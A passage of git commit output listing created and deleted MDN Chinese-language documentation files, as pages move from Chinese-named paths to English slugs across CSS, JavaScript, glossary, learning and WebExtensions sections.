files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html create mode 100644 files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html create mode 100644 files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html create mode 100644 files/zh-cn/conflicting/web/css/_colon_is/index.html create mode 100644 files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html create mode 100644 files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html create mode 100644 files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html create mode 100644 files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html create mode 100644 files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html create mode 100644 files/zh-cn/conflicting/web/css/css_color/index.html create mode 100644 files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html create mode 100644 files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html create mode 100644 files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html create mode 100644 files/zh-cn/conflicting/web/css/easing-function/index.html create mode 100644 files/zh-cn/conflicting/web/guide/html/html5/index.html create mode 100644 files/zh-cn/conflicting/web/guide/index.html create mode 100644 files/zh-cn/conflicting/web/guide/mobile/index.html create mode 100644 files/zh-cn/conflicting/web/html/element/index.html create mode 100644 files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html create mode 100644 files/zh-cn/conflicting/web/http/cors/index.html create mode 100644 files/zh-cn/conflicting/web/http/csp/index.html create mode 100644 files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html create mode 100644 files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html create mode 100644 files/zh-cn/conflicting/web/http/status/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/guide/introduction/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/operators/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html create mode 100644 files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html create mode 100644 files/zh-cn/conflicting/web/media/formats/index.html create mode 100644 files/zh-cn/conflicting/web/progressive_web_apps/index.html create mode 100644 files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html create mode 100644 files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html create mode 100644 files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html create mode 100644 files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html create mode 100644 files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html create mode 100644 files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html delete mode 100644 files/zh-cn/controlling_dns_prefetching/index.html delete mode 100644 files/zh-cn/css/float/index.html delete mode 100644 files/zh-cn/dhtml/index.html delete mode 100644 files/zh-cn/example_2_-_using_ul/index.html create mode 100644 files/zh-cn/games/introduction/index.html create mode 100644 files/zh-cn/games/introduction_to_html5_game_development/index.html delete mode 100644 files/zh-cn/games/introduction_to_html5_game_gevelopment_(summary)/index.html create mode 100644 files/zh-cn/games/publishing_games/game_monetization/index.html delete mode 100644 "files/zh-cn/games/publishing_games/\346\270\270\346\210\217\350\264\247\345\270\201\345\214\226/index.html" create mode 100644 files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html delete mode 100644 "files/zh-cn/games/techniques/control_mechanisms/\347\247\273\345\212\250\347\253\257\350\247\246\346\221\270\346\216\247\345\210\266/index.html" delete mode 100644 "files/zh-cn/games/tools/\345\274\225\346\223\216\345\222\214\345\267\245\345\205\267/index.html" create mode 100644 files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html create mode 100644 files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html delete mode 100644 "files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/\346\224\266\345\260\276\345\267\245\344\275\234/index.html" delete mode 100644 "files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/\351\274\240\346\240\207\346\216\247\345\210\266/index.html" delete mode 100644 "files/zh-cn/games/\347\256\200\344\273\213/index.html" create mode 100644 files/zh-cn/glossary/abstraction/index.html create mode 100644 files/zh-cn/glossary/algorithm/index.html create mode 100644 files/zh-cn/glossary/arpa/index.html create mode 100644 files/zh-cn/glossary/asynchronous/index.html create mode 100644 files/zh-cn/glossary/base64/index.html create mode 100644 files/zh-cn/glossary/baseline/index.html create mode 100644 files/zh-cn/glossary/browser/index.html create mode 100644 files/zh-cn/glossary/card_sorting/index.html create mode 100644 files/zh-cn/glossary/character_encoding/index.html create mode 100644 files/zh-cn/glossary/compile/index.html create mode 100644 files/zh-cn/glossary/compile_time/index.html create mode 100644 files/zh-cn/glossary/cross_axis/index.html create mode 100644 files/zh-cn/glossary/database/index.html create mode 100644 files/zh-cn/glossary/dhtml/index.html create mode 100644 files/zh-cn/glossary/digital_certificate/index.html create mode 100644 files/zh-cn/glossary/domain_name/index.html delete mode 100644 files/zh-cn/glossary/dtd/index.html create mode 100644 files/zh-cn/glossary/element/index.html create mode 100644 files/zh-cn/glossary/empty_element/index.html create mode 100644 files/zh-cn/glossary/forbidden_header_name/index.html create mode 100644 files/zh-cn/glossary/general_header/index.html create mode 100644 files/zh-cn/glossary/graceful_degradation/index.html delete mode 100644 files/zh-cn/glossary/header/index.html create mode 100644 files/zh-cn/glossary/http_header/index.html create mode 100644 files/zh-cn/glossary/idempotent/index.html create mode 100644 files/zh-cn/glossary/iife/index.html create mode 100644 files/zh-cn/glossary/ip_address/index.html delete mode 100644 "files/zh-cn/glossary/ip\345\234\260\345\235\200/index.html" create mode 100644 files/zh-cn/glossary/localization/index.html create mode 100644 files/zh-cn/glossary/main_axis/index.html create mode 100644 files/zh-cn/glossary/oop/index.html create mode 100644 files/zh-cn/glossary/origin/index.html create mode 100644 files/zh-cn/glossary/progressive_enhancement/index.html create mode 100644 files/zh-cn/glossary/proxy_server/index.html create mode 100644 files/zh-cn/glossary/pseudo-class/index.html create mode 100644 files/zh-cn/glossary/request_header/index.html create mode 100644 files/zh-cn/glossary/semantics/index.html create mode 100644 files/zh-cn/glossary/serialization/index.html delete mode 100644 files/zh-cn/glossary/serialize/index.html create mode 100644 files/zh-cn/glossary/simple_header/index.html create mode 100644 files/zh-cn/glossary/sloppy_mode/index.html create mode 100644 files/zh-cn/glossary/speculative_parsing/index.html create mode 100644 files/zh-cn/glossary/time_to_first_byte/index.html create mode 100644 files/zh-cn/glossary/type_conversion/index.html create mode 100644 files/zh-cn/glossary/xhtml/index.html delete mode 100644 "files/zh-cn/glossary/\344\270\273\350\275\264/index.html" delete mode 100644 "files/zh-cn/glossary/\344\272\244\345\217\211\350\275\264/index.html" delete mode 100644 "files/zh-cn/glossary/\344\273\243\347\220\206\346\234\215\345\212\241\345\231\250/index.html" delete mode 100644 "files/zh-cn/glossary/\344\274\230\351\233\205\351\231\215\347\272\247/index.html" delete mode 100644 "files/zh-cn/glossary/\344\274\252\347\261\273/index.html" delete mode 100644 "files/zh-cn/glossary/\345\205\203\347\264\240/index.html" delete mode 100644 "files/zh-cn/glossary/\345\215\241\347\211\207\345\210\206\347\261\273\346\263\225/index.html" delete mode 100644 "files/zh-cn/glossary/\345\234\260\345\235\200\350\267\257\347\224\261\345\217\202\346\225\260\345\237\237/index.html" delete mode 100644 "files/zh-cn/glossary/\345\237\237\345\220\215/index.html" delete mode 100644 "files/zh-cn/glossary/\345\237\272\347\272\277/index.html" delete mode 100644 "files/zh-cn/glossary/\345\255\227\347\254\246\347\274\226\347\240\201/index.html" delete mode 100644 "files/zh-cn/glossary/\345\271\202\347\255\211/index.html" delete mode 100644 "files/zh-cn/glossary/\345\274\202\346\255\245/index.html" delete mode 100644 "files/zh-cn/glossary/\346\212\275\350\261\241\347\274\226\347\250\213/index.html" delete mode 100644 "files/zh-cn/glossary/\346\225\260\345\255\227\350\257\201\344\271\246/index.html" delete mode 100644 "files/zh-cn/glossary/\346\225\260\346\215\256\345\272\223/index.html" delete mode 100644 "files/zh-cn/glossary/\346\255\243\345\270\270\346\250\241\345\274\217/index.html" delete mode 100644 "files/zh-cn/glossary/\346\265\217\350\247\210\345\231\250/index.html" delete mode 100644 "files/zh-cn/glossary/\346\270\220\350\277\233\345\242\236\345\274\272/index.html" delete mode 100644 "files/zh-cn/glossary/\346\272\220/index.html" delete mode 100644 "files/zh-cn/glossary/\347\246\201\346\255\242\344\277\256\346\224\271\347\232\204\346\266\210\346\201\257\351\246\226\351\203\250/index.html" delete mode 100644 "files/zh-cn/glossary/\347\251\272\345\205\203\347\264\240/index.html" delete mode 100644 "files/zh-cn/glossary/\347\253\213\345\215\263\346\211\247\350\241\214\345\207\275\346\225\260\350\241\250\350\276\276\345\274\217/index.html" delete mode 100644 "files/zh-cn/glossary/\347\254\254\344\270\200\345\255\227\350\212\202\346\227\266\351\227\264/index.html" delete mode 100644 "files/zh-cn/glossary/\347\256\200\345\215\225\345\244\264\351\203\250/index.html" delete mode 100644 "files/zh-cn/glossary/\347\256\227\346\263\225/index.html" delete mode 100644 "files/zh-cn/glossary/\347\261\273\345\236\213\350\275\254\346\215\242/index.html" delete mode 100644 "files/zh-cn/glossary/\347\274\226\350\257\221/index.html" delete mode 100644 "files/zh-cn/glossary/\347\274\226\350\257\221\346\227\266\351\227\264/index.html" delete mode 100644 "files/zh-cn/glossary/\350\257\255\344\271\211/index.html" delete mode 100644 "files/zh-cn/glossary/\350\257\267\346\261\202\345\244\264/index.html" delete mode 100644 "files/zh-cn/glossary/\351\200\232\347\224\250\351\246\226\351\203\250/index.html" delete mode 100644 "files/zh-cn/glossary/\351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/index.html" delete mode 100644 files/zh-cn/glossary_of_translation/index.html create mode 100644 files/zh-cn/learn/accessibility/css_and_javascript/index.html delete mode 100644 "files/zh-cn/learn/accessibility/css\345\222\214javascript/index.html" create mode 100644 files/zh-cn/learn/accessibility/html/index.html delete mode 100644 "files/zh-cn/learn/accessibility/html_colon_\344\270\272\345\217\257\350\256\277\351\227\256\346\200\247\346\217\220\344\276\233\344\270\200\344\270\252\350\211\257\345\245\275\347\232\204\345\237\272\347\241\200/index.html" create mode 100644 files/zh-cn/learn/accessibility/multimedia/index.html delete mode 100644 "files/zh-cn/learn/accessibility/\345\244\232\345\252\222\344\275\223/index.html" create mode 100644 files/zh-cn/learn/common_questions/available_text_editors/index.html create mode 100644 files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html create mode 100644 files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html delete mode 100644 "files/zh-cn/learn/common_questions/\345\256\236\347\224\250\346\226\207\346\234\254\347\274\226\350\276\221\345\231\250/index.html" create mode 100644 files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html create mode 100644 files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html create mode 100644 files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html create mode 100644 files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html delete mode 100644 "files/zh-cn/learn/css/building_blocks/\345\244\204\347\220\206_\344\270\215\345\220\214_\346\226\271\345\220\221\347\232\204_\346\226\207\346\234\254/index.html" create mode 100644 files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html create mode 100644 files/zh-cn/learn/css/css_layout/positioning/index.html delete mode 100644 "files/zh-cn/learn/css/css_layout/\344\274\240\347\273\237\347\232\204\345\270\203\345\261\200\346\226\271\346\263\225/index.html" delete mode 100644 "files/zh-cn/learn/css/css_layout/\345\256\232\344\275\215/index.html" delete mode 100644 "files/zh-cn/learn/css/first_steps/css\345\246\202\344\275\225\350\277\220\350\241\214/index.html" create mode 100644 files/zh-cn/learn/css/first_steps/getting_started/index.html create mode 100644 files/zh-cn/learn/css/first_steps/how_css_works/index.html delete mode 100644 "files/zh-cn/learn/css/first_steps/\345\274\200\345\247\213/index.html" create mode 100644 files/zh-cn/learn/css/howto/css_faq/index.html create mode 100644 files/zh-cn/learn/css/howto/generated_content/index.html delete mode 100644 files/zh-cn/learn/css/introduction_to_css/fundamental_css_comprehension/index.html delete mode 100644 files/zh-cn/learn/css/styling_boxes/a_cool_looking_box/index.html delete mode 100644 files/zh-cn/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html create mode 100644 files/zh-cn/learn/css/styling_text/fundamentals/index.html create mode 100644 files/zh-cn/learn/css/styling_text/index.html create mode 100644 files/zh-cn/learn/css/styling_text/styling_links/index.html create mode 100644 files/zh-cn/learn/css/styling_text/styling_lists/index.html create mode 100644 files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html create mode 100644 files/zh-cn/learn/css/styling_text/web_fonts/index.html delete mode 100644 "files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/fundamentals/index.html" delete mode 100644 "files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/index.html" delete mode 100644 "files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/styling_links/index.html" delete mode 100644 "files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/styling_lists/index.html" delete mode 100644 "files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/typesetting_a_homepage/index.html" delete mode 100644 "files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/web_\345\255\227\344\275\223/index.html" delete mode 100644 files/zh-cn/learn/discover_browser_developer_tools/index.html create mode 100644 files/zh-cn/learn/forms/advanced_form_styling/index.html create mode 100644 files/zh-cn/learn/forms/basic_native_form_controls/index.html create mode 100644 files/zh-cn/learn/forms/form_validation/index.html create mode 100644 files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html create mode 100644 files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html create mode 100644 files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html create mode 100644 files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html create mode 100644 files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html create mode 100644 files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html create mode 100644 files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html create mode 100644 files/zh-cn/learn/forms/index.html create mode 100644 files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html create mode 100644 files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html create mode 100644 files/zh-cn/learn/forms/sending_forms_through_javascript/index.html create mode 100644 files/zh-cn/learn/forms/styling_web_forms/index.html create mode 100644 files/zh-cn/learn/forms/your_first_form/index.html delete mode 100644 files/zh-cn/learn/how_the_internet_works/index.html delete mode 100644 files/zh-cn/learn/how_to_contribute/index.html delete mode 100644 files/zh-cn/learn/html/forms/advanced_styling_for_html_forms/index.html delete mode 100644 files/zh-cn/learn/html/forms/data_form_validation/index.html delete mode 100644 files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_1/index.html delete mode 100644 files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_2/index.html delete mode 100644 files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_3/index.html delete mode 100644 files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_4/index.html delete mode 100644 files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/index.html delete mode 100644 files/zh-cn/learn/html/forms/how_to_structure_an_html_form/index.html delete mode 100644 files/zh-cn/learn/html/forms/html_forms_in_legacy_browsers/index.html delete mode 100644 files/zh-cn/learn/html/forms/index.html delete mode 100644 files/zh-cn/learn/html/forms/property_compatibility_table_for_form_widgets/index.html delete mode 100644 files/zh-cn/learn/html/forms/sending_and_retrieving_form_data/index.html delete mode 100644 files/zh-cn/learn/html/forms/sending_forms_through_javascript/index.html delete mode 100644 files/zh-cn/learn/html/forms/styling_html_forms/index.html delete mode 100644 files/zh-cn/learn/html/forms/the_native_form_widgets/index.html delete mode 100644 files/zh-cn/learn/html/forms/your_first_html_form/index.html delete mode 100644 files/zh-cn/learn/html/forms_and_buttons/index.html create mode 100644 files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html create mode 100644 files/zh-cn/learn/html/howto/use_data_attributes/index.html create mode 100644 files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html delete mode 100644 "files/zh-cn/learn/html/introduction_to_html/\346\226\207\344\273\266\345\222\214\347\275\221\347\253\231\347\273\223\346\236\204/index.html" create mode 100644 files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html delete mode 100644 "files/zh-cn/learn/html/multimedia_and_embedding/\345\205\266\344\273\226\345\265\214\345\205\245\346\212\200\346\234\257/index.html" create mode 100644 files/zh-cn/learn/javascript/asynchronous/async_await/index.html create mode 100644 files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html create mode 100644 files/zh-cn/learn/javascript/asynchronous/concepts/index.html create mode 100644 files/zh-cn/learn/javascript/asynchronous/index.html create mode 100644 files/zh-cn/learn/javascript/asynchronous/introducing/index.html create mode 100644 files/zh-cn/learn/javascript/asynchronous/promises/index.html create mode 100644 files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html create mode 100644 files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html delete mode 100644 "files/zh-cn/learn/javascript/building_blocks/\347\233\270\347\211\207\350\265\260\345\273\212/index.html" create mode 100644 files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html create mode 100644 files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html delete mode 100644 "files/zh-cn/learn/javascript/objects/\345\220\221\342\200\234\345\274\271\350\267\263\347\220\203\342\200\235\346\274\224\347\244\272\347\250\213\345\272\217\346\267\273\345\212\240\346\226\260\345\212\237\350\203\275/index.html" delete mode 100644 "files/zh-cn/learn/javascript/objects/\346\265\213\350\257\225\344\275\240\347\232\204\346\212\200\350\203\275_colon_\351\235\242\345\220\221\345\257\271\350\261\241\347\232\204javascript/index.html" delete mode 100644 "files/zh-cn/learn/javascript/\345\274\202\346\255\245/async_await/index.html" delete mode 100644 "files/zh-cn/learn/javascript/\345\274\202\346\255\245/choosing_the_right_approach/index.html" delete mode 100644 "files/zh-cn/learn/javascript/\345\274\202\346\255\245/index.html" delete mode 100644 "files/zh-cn/learn/javascript/\345\274\202\346\255\245/promises\350\257\255\346\263\225/index.html" delete mode 100644 "files/zh-cn/learn/javascript/\345\274\202\346\255\245/\346\246\202\345\277\265/index.html" delete mode 100644 "files/zh-cn/learn/javascript/\345\274\202\346\255\245/\347\256\200\344\273\213/index.html" delete mode 100644 "files/zh-cn/learn/javascript/\345\274\202\346\255\245/\350\266\205\346\227\266\345\222\214\351\227\264\351\232\224/index.html" create mode 100644 files/zh-cn/learn/performance/perceived_performance/index.html delete mode 100644 "files/zh-cn/learn/performance/\346\204\237\347\237\245\346\200\247\350\203\275/index.html" create mode 100644 files/zh-cn/learn/server-side/configuring_server_mime_types/index.html create mode 100644 files/zh-cn/learn/server-side/django/admin_site/index.html create mode 100644 files/zh-cn/learn/server-side/django/development_environment/index.html create mode 100644 files/zh-cn/learn/server-side/django/home_page/index.html delete mode 100644 "files/zh-cn/learn/server-side/django/\344\270\273\351\241\265\346\236\204\345\273\272/index.html" delete mode 100644 "files/zh-cn/learn/server-side/django/\345\274\200\345\217\221\347\216\257\345\242\203/index.html" delete mode 100644 "files/zh-cn/learn/server-side/django/\347\256\241\347\220\206\347\253\231\347\202\271/index.html" create mode 100644 files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html delete mode 100644 "files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/\344\273\213\347\273\215/index.html" create mode 100644 files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html create mode 100644 files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html delete mode 100644 "files/zh-cn/learn/tools_and_testing/cross_browser_testing/\345\217\257\350\256\277\351\227\256\346\200\247/index.html" delete mode 100644 "files/zh-cn/learn/tools_and_testing/cross_browser_testing/\346\265\213\350\257\225\347\255\226\347\225\245/index.html" delete mode 100644 files/zh-cn/learn/tutorial/how_to_build_a_web_site/index.html delete mode 100644 files/zh-cn/learn/tutorial/index.html delete mode 100644 files/zh-cn/learn/web_mechanics/index.html delete mode 100644 files/zh-cn/localization/index.html delete mode 100644 "files/zh-cn/mdc_colon_\346\200\216\346\240\267\350\277\233\350\241\214\345\270\256\345\212\251/index.html" create mode 100644 files/zh-cn/mdn/at_ten/index.html delete mode 100644 files/zh-cn/mdn/community/conversations/index.html delete mode 100644 files/zh-cn/mdn/community/doc_sprints/index.html delete mode 100644 files/zh-cn/mdn/community/index.html delete mode 100644 files/zh-cn/mdn/community/whats_happening/index.html delete mode 100644 "files/zh-cn/mdn/community/\345\234\250\347\244\276\345\214\272\345\267\245\344\275\234/index.html" create mode 100644 files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html create mode 100644 files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html delete mode 100644 files/zh-cn/mdn/contribute/howto/create_an_mdn_account/index.html delete mode 100644 files/zh-cn/mdn/contribute/howto/do_a_technical_review/index.html delete mode 100644 files/zh-cn/mdn/contribute/howto/do_an_editorial_review/index.html delete mode 100644 files/zh-cn/mdn/contribute/howto/set_the_summary_for_a_page/index.html delete mode 100644 files/zh-cn/mdn/contribute/howto/tag_javascript_pages/index.html delete mode 100644 files/zh-cn/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html delete mode 100644 "files/zh-cn/mdn/contribute/howto/\345\246\202\344\275\225\346\267\273\345\212\240\346\210\226\346\233\264\346\226\260\346\265\217\350\247\210\345\231\250\345\205\274\345\256\271\346\200\247\346\225\260\346\215\256/index.html" delete mode 100644 "files/zh-cn/mdn/contribute/howto/\345\255\246\344\271\240_\344\272\244\344\272\222_\345\234\250\347\272\277_\350\265\267\346\255\245_\345\274\200\345\247\213/index.html" delete mode 100644 "files/zh-cn/mdn/contribute/howto/\346\210\220\344\270\272\344\270\200\345\220\215\346\265\213\350\257\225\347\211\210\350\257\225\351\252\214\345\221\230/index.html" delete mode 100644 files/zh-cn/mdn/editor/basics/index.html delete mode 100644 files/zh-cn/mdn/editor/basics/page_controls/index.html delete mode 100644 files/zh-cn/mdn/editor/basics/page_info/index.html delete mode 100644 files/zh-cn/mdn/editor/edit_box/index.html delete mode 100644 files/zh-cn/mdn/editor/index.html delete mode 100644 files/zh-cn/mdn/editor/source_mode/index.html delete mode 100644 files/zh-cn/mdn/guidelines/content_blocks/index.html create mode 100644 files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html delete mode 100644 files/zh-cn/mdn/guidelines/rules_of_mdn_documenting/index.html delete mode 100644 files/zh-cn/mdn/guidelines/style_guide/index.html create mode 100644 files/zh-cn/mdn/guidelines/writing_style_guide/index.html delete mode 100644 files/zh-cn/mdn/kuma/index.html delete mode 100644 files/zh-cn/mdn/structures/live_samples/simple_live_sample_demo/index.html create mode 100644 files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html delete mode 100644 files/zh-cn/mdn/structures/macros/custom_macros/index.html create mode 100644 files/zh-cn/mdn/yari/index.html delete mode 100644 files/zh-cn/mdn_at_ten/index.html create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html delete mode 100644 files/zh-cn/mozilla/add-ons/webextensions/api/contextmenus/index.html delete mode 100644 files/zh-cn/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/index.html create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html delete mode 100644 "files/zh-cn/mozilla/add-ons/webextensions/api/tabs/\346\237\245\350\257\242/index.html" delete mode 100644 "files/zh-cn/mozilla/add-ons/webextensions/api/\345\211\252\345\210\207\346\235\277/index.html" delete mode 100644 "files/zh-cn/mozilla/add-ons/webextensions/api/\345\211\252\345\210\207\346\235\277/setimagedata/index.html" create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html delete mode 100644 "files/zh-cn/mozilla/add-ons/webextensions/manifest.json/\344\270\273\351\241\265\345\234\260\345\235\200/index.html" delete mode 100644 files/zh-cn/mozilla/add-ons/webextensions/packaging_and_installation/index.html delete mode 100644 files/zh-cn/mozilla/add-ons/webextensions/porting_from_google_chrome/index.html delete mode 100644 files/zh-cn/mozilla/add-ons/webextensions/publishing_your_webextension/index.html create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html delete mode 100644 "files/zh-cn/mozilla/add-ons/webextensions/user_interface/\344\276\247\350\276\271\346\240\217/index.html" delete mode 100644 files/zh-cn/mozilla/add-ons/webextensions/walkthrough/index.html create mode 100644 files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html delete mode 100644 "files/zh-cn/mozilla/add-ons/webextensions/\345\256\236\347\216\260\344\270\200\344\270\252\350\256\276\347\275\256\351\241\265\351\235\242/index.html" delete mode 100644 "files/zh-cn/mozilla/add-ons/webextensions/\346\236\204\345\273\272\344\270\200\344\270\252\350\267\250\346\265\217\350\247\210\345\231\250\347\232\204\346\211\251\345\261\225\346\217\222\344\273\266/index.html" delete mode 100644 "files/zh-cn/mozilla/add-ons/webextensions/\347\224\250\346\210\267\347\225\214\351\235\242\345\205\203\347\264\240/index.html" create mode 100644 files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html create mode 100644 files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html create mode 100644 files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html create mode 100644 files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html create mode 100644 files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html delete mode 100644 files/zh-cn/mozilla/mozilla_persona/index.html create mode 100644 files/zh-cn/orphaned/example_2_-_using_ul/index.html create mode 100644 